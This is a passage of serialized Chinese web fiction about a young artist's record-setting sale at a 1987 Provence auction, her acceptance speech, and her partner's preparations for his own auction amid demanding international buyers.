起售价和最终成交价的差额、加价轮数等数据都可以代表一个藏品的受欢迎程度。 高德曼教授看了看此时场上的激烈样子,又回忆了一下其他拍卖会的情况,最终评估作品的价值后说道: “你们这里的规矩一轮只能加3000法郎,又给这个作品估了20000法郎这么低的起售价.我估计要叫40多轮。” 由于普罗旺斯的地方特色,这里非常容易出现加价大战。 诺曼德馆长在场地里找到了他想找的人,观察了一下那人的状态后,笑着说: “我估计这个作品可能会掀起一股加价狂潮。” 二十几分钟后,佐伊的作品已经完成了三十六轮叫价,成交价来到了12万8千法郎。 场上的竞争者只剩下五六位了。 在1987年的普罗旺斯艺术市场上,只有国际级艺术家制作的作品售价能达到80万法郎以上。 本土名家创作的作品成交价普遍在10万-80万区间,而大部分集中在25万法郎以下的这个范围里。 佐伊的人气确实很高,但市场上对她这个作品的估价在15-18万法郎区间,这是非常高的估价了.此前佐伊在其他展会上的最高成绩只有5万法郎。 大部分藏家是抱着‘捡漏’目的来的。 见升值空间不大了,而且几大财团都跟的这么紧也就悄悄退出了。 在拍卖员喊出“99号买家出价12万8千法郎”后,编号41的牌子默默放了下去,看起来不打算再拿起了。 现场无数人发出了失望的叹息。 这次竞争不管输赢,都和普罗旺斯本土藏家没有关系了,这将是属于美洲和亚洲资本的竞争。 编号67的牌子刚举起来不到一秒,99和77号牌子又接连出现,此时的价格来到13万7千法郎。 当在场所有人的目光都放到77和99号,以为双足鼎力的局面即将上演时,一个编号为3的牌子第一次举了起来,把作品的价格推到了14万以上。 现场不知第多少次出现哗然。 那是一位很年轻的端庄女士,不过她像是刚刚睡醒一样,还在打哈欠。 虽然大家不知道这位新出现的买家是谁,但他们知道新的三足鼎立诞生了! 普罗旺斯不只艺术家要‘按资排辈’,买家区域的座位也是有门道的。 座位会按家族艺术收藏史进行分配,在普罗旺斯本土拍卖地位显赫的人可以坐在第一排的中间位置,即使是新贵藏家也只能坐在后排举牌。 就比如77号和99号,这两位新杀入普罗旺斯艺术市场的买家,只能在更靠后的位置。 而我们这位年轻女士,坐在第一排的最中间,代表她是普罗旺斯本土藏家代表! 普罗旺斯又站上竞争的舞台了!! 帕特里西亚又打了一个哈欠。 上帝,拍卖比老师讲课还难熬,真是又臭又长啊。 不过终于到了14万! 这是帕特里西亚的分析师给她的数据,喊到这个数字差不多就可以开始举牌了,后面跟她竞争的人不会太多。 “3号买家出价14万法郎,还有人叫价吗?”拍卖师激昂的问。 “16号叫价了!” “99号先生又叫了3000!” “38号先生也没有放弃!” “我们看到16号牌子再次出现!” “99号又加价了!” “77号也把牌子举了回来!” “好的,99号先生继续加价,现在的成交价来到了16万1千法郎!” 帕特里西亚生气的嘟起嘴巴。 什么啊。 为什么还是有这么多人在举牌? 不是说可以马上结束了吗! 不过价格到了16万后,还有意向的只有美国地铁大王的遗孀和日本财团,其他人全部退出了竞争。 帕特里西亚刚要举牌,77号牌先一步出现,随后99号也举起来了。 “16万7千法郎,还有人要加价吗?”拍卖师举起木锤。 帕特里西亚真的生气了。 她第一次亲自参与拍卖会,对面又是她最喜欢的艺术家和作品,怎么可能失败呢? 而且帕特里西亚还想要通过这个机会邀请佐伊再次给她做一个定制作品呢。 她的父亲图拉姆先生之前通过博物馆又找了一次佐伊,但佐伊不知为何拒绝了合作邀请。 帕特里西亚认为只有充分表达出对佐伊的尊重才能请她继续为自己做东西! 回想着爸爸在聚会上和朋友们聊天的某些内容,帕特里西亚半信半疑的举起了面前的薰衣草干花。 这东西只有第一排中心位置买家的桌子上才会出现。 霎时间,现场出现了巨大的惊呼声,77号买家和99号委托人不理解的左右看,似乎想弄明白他们在震惊些什么。 拍卖师愣了好几秒,才反应过来帕特里西亚真的举起了薰衣草干花.他激动的说: “3号买家行使了贵宾买家特权!未来她每一次加价都是最新成交价的20%,直至退出竞争为止!那么此时的成交价来到了——20万零4百法郎,还有人加价吗!” 帕特里西亚兴奋的跺了一下脚! 爸爸在餐桌上讲的那些居然不是故事,原来真的管用! 日本财团的委托人不停的问周围人: “这是什么规则,为什么她可以一下子加20%,我们不可以?” 有普罗旺斯本地藏家兴奋的对他大喊: “这是普罗旺斯拍卖会的地方特色,以前只有贵族可以使用这项权利,现在扩展到了对普罗旺斯艺术界贡献最大的几个本土藏家身上,但已经很久很久没有人行使过了,那姑娘背景不简单啊。” 现在的重点根本不是背景不背景的问题。 而是价格已经超过了市场的估价! 美国地铁大王的遗孀面色极差的和周围几个人说了几句话,把77号牌子放到的桌子上。 他们退出竞争了! 从拍卖会开始,只要日本财团出手,还没有旁落过东西。 在一声又一声的催促中,99号买家区域简单沟通了几句,再次举起了牌子。 马上21万法郎,这已经超过了市场的估价。 但不要忘记3号买家现在举一下牌子就是加价20%,她要花25万法郎买下这个作品吗? 那一定是疯了! 但现场疯了的人不止一个人。 帕特里西亚不仅毫不犹豫的举起了薰衣草干花,还用普罗旺斯方言喊出了: “Aquò es miéu!(这是我的!)” 几百年前的普罗旺斯拍卖会上,每个竞价者举牌时必须要这么说,否则竞价无效。 这个习俗多少年没有出现在普罗旺斯了? 一百年,还是两百年? 现场的普罗旺斯藏家陷入了极度的疯狂! 这个小姑娘不止捍卫了普罗旺斯藏家的脸面,还给其他国家的藏家上了一节生动形象的普罗旺斯文化课。 今天的拍卖太精彩了! 似乎连拍卖师都燃起了熊熊的普罗旺斯魂。 他用普罗旺斯方言急促的催促起来。 全场一起大喊3、2 在喊1之前,大家看到99号委托人无奈的摇了摇头,放下了牌子。 “让我们恭喜3号买家,她成功拿下了028号藏品!”拍卖师声音颤抖的大喊。 今天注定会成为普罗旺斯艺术史中重要的一天。 全普罗旺斯的艺术爱好者和艺术家都会住记住这位年轻的买家和这个艺术品的存在。 同时他们还会记住是谁创造了这次疯狂——是那位名叫佐伊的艺术家! 第331章 艺术从来不是孤独的旅程,而我是幸运的 由于028号藏品的拍卖过程中,有本土藏家行使了购买特权,还经历了几十轮加价大战,数字已经没有那么好计算了。 拍卖员师落锤后,没有直接邀请艺术家进行‘感言’,而是让后台进行了一个简短的核查,数字确认无误后再继续流程。 此时后台所有贵宾都围到了负责记录的工作人员旁边。 他们被刚刚的激烈争夺战和普罗旺斯式特色竞价方式所吸引看入迷了都没有留意一共发生了多少轮竞价。 “已核实完毕,一共进行了52轮竞价,其中两次是‘跳价’,成交价为244080法郎。”工作人员示意前台可以继续。 帕特里西亚举起薰衣草干花的行为,在普罗旺斯拍卖字典里的专业称呼为‘跳价’。 高德曼教授轻呼一声: “52轮竞价,这个数字放到巴黎可以上报纸了,我记得巴黎拍卖行的最高记录只有40多轮。” 诺曼德馆长微笑着说: “即使在普罗旺斯,这也是很激烈的竞争,我们的最高记录是58轮,52这个数字可以排到前十。” 普罗旺斯对不同艺术品的叫价原则不同,根据作品的起售价和估值决定,与其他区域的规则不一样。 高德曼教授看着前台说: “但精彩程度可以排到前三吧?普罗旺斯特色‘跳价’在一场内出现了两次.不过这个竞价方式真的很特殊,本土买家居然也有特权可以使用。” 许多地区都保留了艺术家的‘干预权’,但买家行使特权的情况太罕见了,要不是高德曼教授这次正巧来观摩,可能一辈子都见不到这种情况发生。 诺曼德馆长是土生土长的普罗旺斯人,他用无比自豪的语气说: “千百年来,普罗旺斯一直是艺术品和艺术家的温床,在这片土地上,艺术家和本土藏家的利益大于一切.这是我们捍卫文化主权的决心和象征。” 见今天的重头戏已经结束,许多后台来观摩的嘉宾都提前离开了,诺曼德馆长对高德曼教授说: “后面的几个作品应该会很平稳的拍出去,我们也离开吧,叫上阿尔代一起喝几杯?” 今天的激烈争夺让诺德曼馆长对几天后的‘相思鸟’争夺战充满了担忧。 如果和这些花钱不眨眼的财团竞争,格拉内博物馆的破局之路在哪里? 他想和高德曼教授讨论一下有可能会发生的情况。 怎料高德曼教授不但不想离开,还走近了些。 他望着艺术家席中已经起立的佐伊,对诺曼德馆长说: “稍等下我想看看这个孩子这半年成长成什么样了。” 在后台核实的一两分钟内,艺术家席的许多艺术家都主动和佐伊打起了招呼,还有几位知名前辈向她送去了祝贺。 这个有可能承担起普罗旺斯艺术未来的年轻女孩,在今天又斩获了无数项‘声誉’。 52轮竞价、2次‘跳拍’、成交价是起售价的12倍、超估值近1倍.在最看重名气和声誉的普罗旺斯艺术界,佐伊在下一次艺术展览上一定会得到知名艺术家待遇,说不定还能得到更多的特权,因为她身上有太多可以挖掘的东西。 就比如她的优秀外形和气质. 前二十多位艺术家的感谢环节,无论是艺术家和下面的观众都提不起什么兴趣,因为今天的重头戏是艺术品和让人血脉喷张的竞价,大家并不想在这个场合听艺术家‘冠冕堂皇’的感谢信。 可自从后台核实完数字,拍卖师说‘把舞台交给佐伊后’,现场安静的连呼吸似乎都静止了。 大家很想听听这位有天赋、有人气、有声誉、有优秀外形的艺术家要说些什么。 她的谈吐,也会如她的天赋和外形一样傲人吗? 佐伊在万众瞩目中站了起来,看向了作品的归属者帕特里西亚。 这是帕特里西亚幻想过无数次的场景——和最喜欢的艺术家在拍卖会的两端隔空对望,虽然她们远隔几十米,但因为同样的优秀、同样的出众,呈现交相呼应的状态.让全场爆发出羡慕的惊呼。 但不知为何,她默默练习了许多次的优雅点头,变成了娇俏的挥舞双手,像是‘迷妹’看到了偶像一样。 “佐伊看到我了,她看我了耶!!”帕特里西亚兴奋的攥紧手帕,逼迫自己始终注视着佐伊的眼睛,不要因紧张而错开。 “首先,我要感谢今天竞得这件作品的藏家,您的支持不仅是对我个人创作的认可,更是对艺术多元性和大自然的珍视。”佐伊的声音似乎劈开了屋顶,让新鲜的空气和阳光洒入了场地之内。 “哇哇哇,声音好好听!好好听!!”帕特里西亚紧紧地抿住嘴,以避免自己发出奇怪的声音。 接下来佐伊把视线移开,看向了在场的观众。 通常情况下,艺术家在感谢完买家后就要感谢组委会或者主办方了,但佐伊却感谢了一个让大家意想不到的方向。 “其次,我要感谢我的故乡——卢尔马兰。” 本地藏家面面相觑。 为什么要感谢故乡? 国外藏家也和身边的代理人或者同行人交头接耳起来。 卢尔马兰是哪儿?为什么要感谢它? 佐伊悠扬的声音回荡在场地内,为大家解开疑惑: “卢尔马兰虽小,却有着深厚的文化历史.毕加索曾在这里寻找灵感,阿尔贝·加缪选择长眠于此,而今天的卢尔马兰,依然活跃着许多艺术家,他们用画笔、陶土、葡萄藤甚至甜品创作,而我的灵感和天赋,正是这片土地给予的馈赠,所以我要感谢我的故乡。” 在佐伊说到毕加索和加缪时,现场出现了小范围的议论声。 卢尔马兰居然还有这些艺术故事? 听起来那里现在也聚集了不少艺术家啊.但怎么之前没听过呢? 当佐伊说到‘甜品’时,议论声突然大了起来。 知道‘相思鸟’故事的人露出意味不明的微笑。 不过大家的表情更加认真了。 卢尔马兰果然人才辈出,尤其是在新一代艺术家方面未来真的要好好注意一下这个地方了。 不知道‘相思鸟’故事的观众也大有人在,尤其聚集在国外藏家的区域。 美国地铁大亨的遗孀听到翻译的话后惊讶万分。 用甜品创作,你确定吗? 在哪里啊? 见到藏家席中好几位买家都露出了类似美国富商的表情,他们有的快速的在面前的纸上记录了起来,有的向旁边的人咨询情况,佐伊终于露出满意的微笑。 你看啊罗南.我也可以为卢尔马兰和你做贡献了! 后台。 远远观望的高德曼教授露出了欣慰的笑容。 事实上,半年前的佐伊就给他留下过深刻的印象。 面对高德曼教授的‘发难’,佐伊表现的不卑不亢,在解答问题之余,还能清晰的表达出自己的优势和特色是什么,勇于表达自己的同时思路也非常清晰。 她是那场有剧本安排展览中,最像‘真人’的人。 半年后的今天,在感谢环节,她优雅的表达对买家感谢的同时,又额外的表达出了其他想要表达的东西。 这个姑娘的风格没有因为掌声和荣誉而改变.不错。 “好了,我们走吧。”高德曼教授笑着对诺曼德馆长说。 这是个有个性、有自己的思想且实力匹配人气的艺术家,他记住佐伊这个名字了。 但身后舞台正中央年轻女艺术家的发言还没有结束: “最后,我还要特别感谢一个人——” 佐伊的话让现场的大部分人一阵兴奋。 不是吧,不是吧,不是我们想的那个人吧? 佐伊露出幸福的笑容,坦然的说: “那个人是我的男朋友罗南,他不仅是我生命中最重要的人,也是一位才华横溢的艺术家,今天的这件作品不仅属于我自己,因为作品里有罗南日复一日的鼓励,还有罗南不求回报的帮助,感谢他让我和这件作品被更多的人关注到。” 现场的气氛顿时热闹起来。 昨天中心雕塑展上‘相思鸟’确实大放异彩,但罗南并没有在现场发表甜蜜宣言,全场都是策划人在发言。 但今天,佐伊是实打实的在和罗南表白了!! 帕特里西亚兴奋的发出了仓鼠一样的嚎叫。 上帝,这一对太好磕了! “艺术从来不是孤独的旅程,我有幸遇见了最好的同行者,我的作品也遇到了愿意守护它的‘相思鸟’和最懂它的藏家。”佐伊先是对着帕特里西亚鞠了一躬,又对着四周的藏家和艺术家深深鞠了一躬,“再次感谢大家,让我度过了人生中最为特别的一个下午。” 帕特里西亚兴奋的咬住手帕! 呀呀呀呀呀,我和罗南、相思鸟一样的地位了吗?! 佐伊今天的感言环节堪称经典。 她的才华、谈吐、气质和性格吸引来了无数像帕特里西亚这样的‘迷妹’,拍卖会被她搞成了个人秀了。 在一浪高过一浪的欢呼声中,高德曼教授终于满意的离开了后台: “诺曼德,你真是个厉害的家伙,开拍前就预言这会是精彩的一次拍卖,这真的太精彩了,无论是场内还是场外。” 被夸赞了的诺曼德馆长脸上没有任何喜色。 这对小情侣还真是‘情比金坚’啊。 罗南成就了今天佐伊的辉煌,而佐伊又在她最为璀璨的时刻,把人气和关注度拉到了罗南身上。 现在让这对小情侣一闹,本就艰难的‘相思鸟’争夺战还怎么打啊! 第332章 特殊作品要使用特殊手段 罗南深刻体会到了昨天佐伊的同款感受。 不少藏家提前离开了拍卖会现场,就是为了去中心雕塑展和罗南讲一讲里面发生了什么。 他们有的放下一句“你小子太幸福了,以后给我对佐伊好点,否则我绝不放过你”就转身离开。 有的告诉罗南“佐伊现场对你表白了!”,但无论罗南如何问,对方都说不出来一句完整话,只能像神经病一样手舞足蹈的呜呜啦啦。 罗南都要急死了。 里面到底发生了什么? 他猜佐伊有可能是在里面说了什么‘爱情宣言’,但你们倒是给我讲明白啊! 不过从拍卖会来的也不全是讲故事的人。 3点半到4点这短短的半个小时,罗南见到3位艺术顾问带着藏家来看‘相思鸟’,其中有两个买家不是法国人,说的是罗南听不懂的话。 这几位也是提前从拍卖会出来的,后面没有他们感兴趣的艺术品,不如出来看点新鲜的。 有艺术顾问相陪的买家不是一般人。 这让罗南更加好奇了。 “佐伊到底在拍卖会上说了什么?” 佐伊让罗南在中心雕塑展等她。 罗南盼星星盼月亮,终于盼来了她的女孩。 但跟在佐伊身边的还有一个人,那是一个年纪很轻,是一看就身世不一般的年轻女孩,在她身后还跟着四个穿黑西装的保镖。 “我知道让你这样优秀的艺术家做定制作品是无礼的请求.但我真的太喜欢你的风格了!” 拍卖会已经结束,但帕特里西亚一路跟着佐伊来到了中心雕塑展。 佐伊实在是太有魅力啦,帕特里西亚忍不住想要和她一直说话、一直说话,其次就是这次来戈尔德是带着目的来的——她希望佐伊能再给她定制一个动物作品。 帕特里西亚使用普罗旺斯本土买家特权拍下了今天的作品,让佐伊收获到了无数的关注和人气,佐伊本不该拒绝她。 但当知道帕特里西亚的父亲是图拉姆时.佐伊真的怕了。 那个美人鱼订单折磨了她近一个月。 可爱的帕特里西亚小姐怎么会有个如此会折磨人的父亲呢? “感谢你的喜爱,但我无法保证能在6月前把作品做好。”佐伊像是抓救命稻草一样,抓住了迎面走来罗南的手,歉意的对帕特里西亚说,“因为下个月我就要开始准备和罗南的婚礼了。” “呀!”帕特里西亚惊讶的捂住嘴,“要结婚了吗,我会给你们送去贺礼的!” 罗南用询问的目光看向佐伊。 佐伊给他介绍道: “这位是帕特里西亚小姐,图拉姆先生的小女儿,她在刚刚的拍卖会上拍下了我的作品。” 罗南马上明白了眼前的情况。 佐伊曾向他抱怨过,图拉姆先生又通过格拉内博物馆联系她,希望定制一个和动物主题有关的作品。 佐伊想都没想就拒绝了。 她已经不是以前默默无闻的她了这种苦谁爱吃谁吃吧,反正她不想再吃了! 罗南和佐伊心有灵犀,添油加醋的说: “你好帕特里西亚小姐,佐伊未来几个月都会非常忙碌,我们要装修房子你知道的,女主人对于婚房来说有多重要,每一个角落都需要她去谋划。” 帕特里西亚点了点头,通情达理的说: “理解,我妈妈说,和我爸爸结婚前的那年,她每天除了吃饭和睡觉就是在想结婚的事,她不用操心房子装修,但要思考如何给几百位宾朋一个记忆犹新的婚礼今年佐伊的时间确实很宝贵。” 表面坚强的她心里沮丧极了。 这件作品是她打算送给朋友的礼物。 自己留下的礼物,只看喜欢不喜欢就行,即使去年她的成人礼礼物只花了3万法郎,但在帕特里西亚心中,那个美人鱼比300万法郎还珍贵。 但送给别人的东西就要考虑很多现实的事情了。 佐伊要人气有人气、要声望有声望,要实力有实力,作品风格也是她喜欢的,请她定制礼物最合适。 其他艺术家要不是风格她不喜欢,要不然是不够资格.这可怎么办呐。 “好吧,那我再想想其他办法,今天就不打扰你们了。”帕特里西亚礼貌的撑起裙子与大家告别。 艺术是普罗旺斯人刻在血脉里的基因,知名艺术家的待遇和戛纳的明星不相上下。 帕特里西亚的父亲是一位实力的本土藏家,从小耳濡目染让她对艺术品非常痴迷。 她对待优秀艺术家的态度,和粉丝看到明星无二。 其实还有许多许多的话想要对佐伊说,但现在太紧张了! 尤其当佐伊迷人的蓝色眼眸看着自己时,帕特里西亚什么都说不出来。 但完全不说,她又憋的难受。 最终在临走前,帕特里西亚鼓起勇气看着罗南说: “放心,我会和你一起守护她的!” “啊?”佐伊和罗南同时发出了疑惑的声音。 什么意思? 守护什么? 不过没有人给他们回答了,帕特里西亚已在保镖的护送下离开。 “好可爱的女孩啊。”佐伊看着帕特里西亚离去的背影笑着说。 或许可以接下她的订单? 正想着这些,罗南出现在她的视线中,阻隔了她看帕特里西亚的目光: “你今天在拍卖会上做什么了?” 佐伊得意的挑了下眉毛: “这就着急了?我昨天可是着急了整整一天呢。” 罗南宠溺的在她脸上掐了一下: “你啊你,故意的是不是?报复心这么强!” 佐伊绕开罗南的手,笑着说: “没干什么啊,你把甜言蜜语悄悄告诉了我,我只是把那些话告诉全世界而已。” “你——” 两个人正要不顾周围环境,做些亲昵的举动,歌迪亚突然出现在他们身后,言语犀利的说: “说多少次了,情难自已回家关上门想干什么干什么,在外面你们是备受瞩目的艺术家,都给我清醒点!” 作为专业的艺术经纪人,怎么能不维护艺术家的形象呢? 佐伊给了歌迪亚一点面子,但不多。 她靠到了罗南的身上,问她: “这么快就办完交割了?” 拍卖会一结束佐伊就被帕特里西亚缠住,是歌迪亚留下和主办方做的交割。 歌迪亚臭屁的甩了下脑袋: “老娘不仅办完了交割,还办了好几件事呢。” “什么事?”罗南搂着佐伊问。 歌迪亚认真下来,对佐伊说: “巴蒂的作品有7个人竞价了,刚刚多出了三个新的买方,说明你今天在拍卖会上的表现,吸引了藏家市场对卢尔马兰的关注。” 罗南惊讶的看向怀里的佐伊。 佐伊还宣传了卢尔马兰? “你们能不能给我详细的讲一讲,今天拍卖会上都发生了什么?”罗南看着两位女士说。 歌迪亚看着他,叹了一口气: “肯定会和你说的,而且是事无巨细的说.因为你的竞拍最激烈!佐伊的后两个作品才分别只有19和17个意向买家,你知道你有多少个意向买家吗?” 歌迪亚指着‘相思鸟’说: “你的意向买家有24个.这已经是主办方做过一轮筛选后的数字,‘相思鸟’的拍卖会还有几天才开始,主办方说,估计最终的竞价方有可能会超过30个!” 佐伊先是一阵兴奋,随后严肃下来对歌迪亚说: “今晚我们给罗南和巴蒂把拍卖会的规则、流程和注意事项讲一遍,他们两个都不是普罗旺斯本地人,不讲清楚他们恐怕听不懂流程。” 在歌迪亚和佐伊给罗南、巴蒂科普拍卖会流程的同时。 高德曼教授和诺曼德馆长也在给带学生们去做其他事、缺席的今日精彩拍卖的阿尔代描述下午的情形。 “这么精彩的竞拍我居然缺席了”阿尔代满脸写着‘遗憾’。 错过了这一次,不知何时才能见到摇晃薰衣草干枝、用普罗旺斯方言大喊‘Aquò es miéu!’的情形了! 高德曼教授看了一眼一脸苦色的诺曼德: “也许下一次就在几天之后呢?” 阿尔代放下酒杯,期待的问: “什么时候?什么作品?” 高德曼教授笑着说: “诺曼德想把‘相思鸟’收到格拉内博物馆。” 阿尔代没有表现出来多惊讶的样子: “从艺术多元性上考虑,确实有这个出手的必要。” “但和我有同样想法的人不在少数。”诺曼德馆长长长的呼出了一口气。 诺曼德也知道‘相思鸟’的竞拍人数了。 他认为30都是保守估计,说不定那天会出现普罗旺斯拍卖史上最残酷的一次竞争。 野心勃勃的马雷查尔也在不停给这个作品‘加码’。 高德曼教授对阿尔代说: “他担心自己抢不过那些财团,正在为此发愁呢。” 阿尔代安慰诺曼德: “尽量把预算提高一点,不是没有希望。” 诺曼德忧心忡忡的说: “现在收藏基金收得很紧,没有那么好申请。” 高德曼教授给老友倒了一杯酒,颇有经验的说: “如果知道潜在竞争者有谁,并且关系不错,可以提前和他们聊聊,你知道的.这很有用。” 阿尔代点头: “特殊作品可以使用些特殊手段。” “必须要使用特殊手段,但和竞争者做交易还远远不够。”诺曼德先生认真的对两位皇家艺术学院教授说,“我需要你们的帮助为了争取到‘相思鸟’,我恐怕要使用些更加特殊的手段了。” 第333章 过分的国际买家 夜晚。 卢尔马兰。 佐伊和歌迪尔像两位优秀的舞台剧演员一样,声情并茂的给罗南和巴蒂描绘了下午发生在拍卖会上有趣的桥段。 听到普罗旺斯拍卖会可以以物易物,罗南和巴蒂惊呼连连,称赞这真是一片神奇的土地。 听到拍卖师说勿用左手举牌,他们牢牢的把左手贴于身旁,生怕一个不小心就触犯了禁忌。 听到佐伊引起的拍卖高潮和几百年前的竞价方式重现,他们又摒住呼吸,似乎跟着耳边的声音重返现场。 “比电影里演的更精彩。”巴蒂一副神往的样子。 罗南既激动又骄傲,看着佐伊说: “你太厉害了,你今天的表现会让卢尔马兰的艺术家们跟着受益。” 佐伊对卢尔马兰的宣传非常重要,那会吸引来无数藏家和艺术家的目光。 佐伊摇晃起手里的粉红酒杯,挑眉道: “是跟某人学的。” ‘一石二鸟’的风气是你带起来的哦。 “佐伊把调子起的太高了,后天我去出席拍卖会要穿什么啊——”巴蒂摸着下巴沉思起来,“不只要穿的好看,我也要想想如何发言了。” 罗南期待的敲了几下桌子: “没错,要提前准备起来,那个‘感言’环节似乎很重要。” 歌迪亚喝完了杯子里的粉红酒,语气低沉的说: “你们不要想的太轻松,在上拍卖会之前,还有不少要处理的事情呢,先顾眼前的吧。” “比如?”巴蒂好奇的问。 佐伊是卢尔马兰艺术家中第一个上拍的,初次‘登台’不得有失,前几天歌迪亚的精力都放在了佐伊的拍卖会上,还没来及处理罗南和巴蒂上拍的事。 歌迪亚拍了几下自己脸,似乎是在给自己打气: “明天我会分别找你们聊细节,后面还有4个拍卖会有的我忙了!喝喝喝,今晚先好好庆祝佐伊取得了成功,卢尔马兰终于出现一个知名艺术家了,有什么事明天再说!” 今天是名副其实的‘学习日’。 早些时候,歌迪亚和佐伊一起给罗南讲解了拍卖会的流程和注意事项。 晚上歌迪亚和巴蒂离开,佐伊又给罗南科普起了别的知识。 “这件作品到手的16万多法郎,我都会放到咱们的婚房装修上,绝对够我们好好设计了。”佐伊撑着脑袋,语气欢快的和罗南说起了自己的计划。 佐伊坚持要负担起房子装修的所有花费,罗南说不过她,只是好奇的问: “到手有这么多?我以为24万的藏品落到艺术家手里只有10万出头呢。” 罗南和佐伊与这次活动的主办方签订的都是25%的分佣比例,成交价的25%要给到拍卖行也就是主办方。 25%在法国算是较高的比例,但越是大型活动收取的比例越高,如果是小规模的活动有可能会聊到15%左右,不过15%-25%都属于正常抽佣范围。 但拍卖会的抽佣比例不是最狠的,狠的是税费。 法国是一个重税的国家,在90年代税务改革前需要缴纳10%-60%的个人所得税,除此之外还要缴纳5.5%的增值税。 只能说松露交易必须用现金是有原因的! 有些艺术家为了获得更多的曝光,会签约画廊或者艺术机构(类似经纪公司),这些机构的抽成更狠,最高可以抽走50%。 别看拍卖会上卖的热热闹闹,实际落到艺术家手里真没有多少。 罗南和佐伊没有签约机构,但扣除拍卖会分佣和税费.24万的藏品落到手应该在10万法郎出头的样子。 怎么会有16万那么多啊? 佐伊用庆幸的语气说: “因为这是在普罗旺斯,普罗旺斯对艺术的重视体现在方方面面,艺术家小于35岁每年有10万法郎的免税额度、若作品含有本地元素例如特殊动物、薰衣草或橄榄树可以享受30%的减税额度、使用了本地材料例如赭石也可以申请20%的材料抵税.这样算下来七减八减的其实没有多少了,最夸张的一点,如果能被文化部认证为‘地区遗产’个税直接减50%。” 她脸上流露出挥之不去的笑容: “普罗旺斯从政府到地方都很重视艺术家的权益,我记得有一位地税官曾在公开场合说过‘我们向颜料征税,但为灵感免税’,说真的,在普罗旺斯搞艺术是一件很幸福的事,在其他地方可没有这种待遇。” 罗南也撑起脑袋看她: “我们不仅从事着幸福的职业,还过着幸福的生活.幸福加倍。” 他马上就要和对面这个优秀的女人组成家庭了,这太让人兴奋了! 良好的经济情况让佐伊沉浸入了未来的幸福生活中,用期待的语气说: “我也没想到这次能拍出那么高的价格,原本以为三个作品加一起才能够达到十几万,没想到一个就达成了.后两个作品加一起至少也能有十几万法郎吧?再加上我之前存下来的十几万法郎——” 佐伊兴奋的晃动起身子: “罗南,我们的幸福生活真的要开始了!!” 罗南被佐伊的情绪所感染,耳边的提示音不绝于耳: “还有我呢,我也存了——” 佐伊突然用手堵住罗南的嘴: “你的钱留下去做更重要的事。” 罗南坐直身子: “那怎么行,未来的生活是我们两个人一起的。” 佐伊很有自知之明的说: “在普罗旺斯,每个月用5000法郎就可以生活的非常非常幸福,不管是谁出,对我们两个来说都很‘微不足道’,但你现在正值拼搏的年纪,要做的事情还有很多,那些都可以让我们未来的生活变得更加好,我没有那么多要做的事,钱在我手里只会变成衣服、鞋子和化妆品.意义不一样好不好?” 似乎是不甘于做这样的自己,佐伊抿着嘴说: “如果未来有很好的机会,你拿着我的钱一起去变钱吧,我现在每年大概能赚30万?额.有可能更多一些,总之未来你记得把我这份一起考虑进去,上帝,我居然这么有钱了?我们两个一起,在普罗旺斯绝对可以算是富豪家庭了。” 罗南抓住佐伊的手,幸福溢于言表: “等下个月天气暖和起来,我们马上着手把这个富豪家庭组建起来。” 佐伊突然站起来,像打了鸡血一样: “我买了几本装饰书,但之前太忙一直没时间看,我回去看书了。” 佐伊的状态已经轻松了下来。 有了第一个作品打底,她接下来的两个作品想必情况不会太差,但罗南和巴蒂进入了紧张的‘备战’状态。 原先罗南只看到了佐伊在拍卖会上大放异彩的一面,等歌迪亚找他聊细节时罗南才知道要费心的事情居然有那么多呢。 第二天一早,罗南先是去戈尔德中心雕塑展待了一阵子,又去宣传了一会编织临时摊位,之后和歌迪亚找了一个咖啡厅坐下来。 歌迪尔从背包里拿出一个非常厚的笔记本,语速飞快的说: “在给你报价的买家中,有一些提出了特殊需求,我一一讲给你听,你看看是否需要行使‘干预权’。” 罗南惊喜的问: “我也有‘干预权’了?” 歌迪亚突然压低声音,小声对罗南说: “当然了,你比佐伊的人气还高好不好?没看到现在四周有多少个人在看你吗?” 闻言罗南环顾四周,发现确实有四五桌的顾客正在打量他,随即对歌迪亚说: “被人喜欢和关注是好事,我也不想行使‘干预权’了,多点买家争抢好啊。” 歌迪亚用笔敲了敲笔记本,严肃的说: “你先听听再说吧,你这次吸引来了许多国际买家,他们和本土买家的风格不一样。” 随即她又一次压低了声音: “而且今天上午格拉内博物馆的工作人员找到了我问你的情况,对方很含蓄的提醒我——在遇到有特殊需求的买家时不要过度迁就,那有可能会影响你在艺术家中的声望,可以用‘干预权’去掉一些要求过分的买家。” 罗南咂了一下嘴,问歌迪亚: “有要求很过分的买家吗?” 歌迪亚清了清嗓子,低头念出笔记本里的记录: “美国葡萄酒商希望给‘相思鸟’举办全美巡展,要求未来一年你能去美国参加他们20场艺术活动,和4家艺术画廊的开幕仪式,这些没有额外报酬,是拍下作品的附加条款。” “纽约的画廊要求你把‘相思鸟’的颜色改成蓝色系,以配合他们100周年主题活动的主色调。” “希腊船王要求在‘相思鸟’上留下他所在家族的徽章,但他承诺在成交价的基础上多提供2年海上运输服务。” “瑞士钟表商要求作品更名权,改成他们最新推出的情侣腕表系列名称,但他们可以在成交价的基础上给你一对情侣腕表,并提供终身维修服务。” “德国汽车大亨.” 约10分钟后,歌迪亚合上笔记本,问罗南: “你同意这些特殊需求吗?” 罗南的眉毛拧成一团: “如果我不同意会怎么样?” 歌迪亚耸肩: “主办方把我们的态度回复过去,也许他们会退出这次竞拍。” 罗南语气低沉的说: “要我说,也别麻烦主办方来回传话了,我现在就想就行使‘干预权’,把这些拿艺术品当‘商品’一样对待的买家踢出局,改名字、改配色还要加家族印章.这太过分了!” ‘相思鸟’是罗南对佐伊爱的具象,所有要求更改初衷的买家都不配拥有它! 歌迪亚在笔记本上快速记录起来,头都不抬的问: “还有其他吗?” 罗南犹豫的说: “会不会拒绝太多了?要不要我去和主办方当面解释一下?” 歌迪亚‘唰’的一下合上笔记本,看着罗南的眼睛说: “在普罗旺斯,艺术家的态度大于一切,即使所有关观众都到场了,你仍然可以在开拍前10分钟取消拍卖,没有人会说你什么。” 不等罗南反应,她站起来,扭着屁股离开: “后面的事和你没有关系了,如何跟主办方解释是我的事。” 罗南对着歌迪亚的背影喊道: “辛苦你了。” 歌迪亚背对罗南无所谓的挥了挥手: “你争气,我才有底气好好准备三天后的拍卖会。” 第334章 去登上能让你扬名立万的舞台 长达一个多月的戈尔德系列艺术展是近几年来普罗旺斯地区规模最大、专业性最强的艺术活动。 在这之前,这片土地上从来没有吸引过这么多国际买家的目光,原来这些资本更多关注的是巴黎的艺术市场。 当密集的拍卖会开始后,普罗旺斯人一点点看清了这些国际财团的‘真实模样’。 在已经完成的作品上做修改和附加无礼条款已经算是客气。 